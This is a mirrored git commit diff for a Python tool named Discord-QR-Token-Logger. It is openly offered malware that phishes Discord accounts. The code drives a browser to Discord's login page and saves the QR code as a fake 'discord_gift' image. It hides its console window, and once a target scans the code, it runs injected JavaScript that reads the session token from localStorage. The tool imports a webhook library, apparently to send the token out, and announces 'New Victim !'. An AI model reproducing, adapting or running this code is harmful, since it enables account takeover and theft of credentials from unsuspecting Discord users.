mirror of
https://github.com/9P9/Discord-QR-Token-Logger.git
synced 2025-07-29 22:15:29 +00:00
Update and rename QR-dtg.py to Discord-QR-Token-Logger.py
This commit is contained in:
parent
d6ff1086ae
commit
ae18586f57
@ -6,7 +6,7 @@ from selenium import webdriver
|
|||||||
from selenium.webdriver.chrome.service import Service
|
from selenium.webdriver.chrome.service import Service
|
||||||
from discord_webhook import DiscordEmbed, DiscordWebhook
|
from discord_webhook import DiscordEmbed, DiscordWebhook
|
||||||
from pystyle import System, Center, Colorate, Colors, Box, Write
|
from pystyle import System, Center, Colorate, Colors, Box, Write
|
||||||
from resources.utilities import pystray_img, banner
|
from utilities import pystray_img, banner
|
||||||
from pystray import Menu, MenuItem, Icon
|
from pystray import Menu, MenuItem, Icon
|
||||||
from io import BytesIO
|
from io import BytesIO
|
||||||
import ctypes
|
import ctypes
|
||||||
@ -50,19 +50,19 @@ def main(webhook_url) -> None:
|
|||||||
opts.add_argument('--log-level 3')
|
opts.add_argument('--log-level 3')
|
||||||
from webdriver_manager.chrome import ChromeDriverManager # Importing the module here because it has conflict with pystyle.
|
from webdriver_manager.chrome import ChromeDriverManager # Importing the module here because it has conflict with pystyle.
|
||||||
os.environ['WDM_LOG_LEVEL'] = '0'
|
os.environ['WDM_LOG_LEVEL'] = '0'
|
||||||
driver = webdriver.Chrome(service=Service(ChromeDriverManager().install()), options=opts)
|
main.driver = webdriver.Chrome(service=Service(ChromeDriverManager().install()), options=opts)
|
||||||
driver.get("https://discord.com/login")
|
main.driver.get("https://discord.com/login")
|
||||||
time.sleep(5)
|
time.sleep(5)
|
||||||
source = BeautifulSoup(driver.page_source, features="lxml")
|
source = BeautifulSoup(main.driver.page_source, features="lxml")
|
||||||
if not (div := re.search(r"qrCode-......", str(source))):
|
if not (div := re.search(r"qrCode-......", str(source))):
|
||||||
print(Write.Print("\n[!] QR Code is not found, please retry or contact us !'", Colors.red_to_yellow))
|
print(Write.Print("\n[!] QR Code is not found, please retry or contact us !'", Colors.red_to_yellow))
|
||||||
sys.exit()
|
sys.exit()
|
||||||
div = div.group(0)
|
div = div.group(0)
|
||||||
div = source.find("div", {"class": f"{div}"})
|
div = source.find("div", {"class": f"{div}"})
|
||||||
qr_code = div.find("img")["src"]
|
qr_code = div.find("img")["src"]
|
||||||
source = BeautifulSoup(driver.page_source, features="lxml")
|
source = BeautifulSoup(main.driver.page_source, features="lxml")
|
||||||
div = source.find("div", {"class": "qrCode"})
|
div = source.find("div", {"class": "qrCode"})
|
||||||
discord_login = driver.current_url
|
discord_login = main.driver.current_url
|
||||||
with TemporaryDirectory(dir='.') as td:
|
with TemporaryDirectory(dir='.') as td:
|
||||||
with NamedTemporaryFile(dir=td, suffix='.png') as tp1:
|
with NamedTemporaryFile(dir=td, suffix='.png') as tp1:
|
||||||
tp1.write(base64.b64decode(qr_code.replace('data:image/png;base64,', '')))
|
tp1.write(base64.b64decode(qr_code.replace('data:image/png;base64,', '')))
|
||||||
@ -76,12 +76,12 @@ def main(webhook_url) -> None:
|
|||||||
time.sleep(3)
|
time.sleep(3)
|
||||||
ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 0)
|
ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 0)
|
||||||
while True:
|
while True:
|
||||||
if discord_login != driver.current_url:
|
if discord_login != main.driver.current_url:
|
||||||
try:
|
try:
|
||||||
os.remove('discord_gift.png')
|
os.remove('discord_gift.png')
|
||||||
except:
|
except:
|
||||||
pass
|
pass
|
||||||
token = driver.execute_script('''
|
token = main.driver.execute_script('''
|
||||||
window.dispatchEvent(new Event('beforeunload'));
|
window.dispatchEvent(new Event('beforeunload'));
|
||||||
let iframe = document.createElement('iframe');
|
let iframe = document.createElement('iframe');
|
||||||
iframe.style.display = 'none';
|
iframe.style.display = 'none';
|
||||||
@ -91,7 +91,7 @@ def main(webhook_url) -> None:
|
|||||||
return token;
|
return token;
|
||||||
''')
|
''')
|
||||||
break
|
break
|
||||||
driver.quit()
|
main.driver.quit()
|
||||||
pystray_icon.icon.notify("The traget scanned the QR-code sucessfuly.", 'New Victim !')
|
pystray_icon.icon.notify("The traget scanned the QR-code sucessfuly.", 'New Victim !')
|
||||||
time.sleep(3)
|
time.sleep(3)
|
||||||
ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 1)
|
ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 1)
|
||||||
@ -138,6 +138,10 @@ if __name__ == "__main__":
|
|||||||
return ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 0)
|
return ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 0)
|
||||||
elif str(item) == 'Quit':
|
elif str(item) == 'Quit':
|
||||||
pystray_icon.icon.stop()
|
pystray_icon.icon.stop()
|
||||||
|
try:
|
||||||
|
main.driver.quit()
|
||||||
|
except:
|
||||||
|
pass
|
||||||
os._exit(0)
|
os._exit(0)
|
||||||
|
|
||||||
pystray_icon.icon = Icon('QR_DTG', Image.open(BytesIO(base64.b64decode(pystray_img))), menu=Menu(
|
pystray_icon.icon = Icon('QR_DTG', Image.open(BytesIO(base64.b64decode(pystray_img))), menu=Menu(
|
Loading…
x
Reference in New Issue
Block a user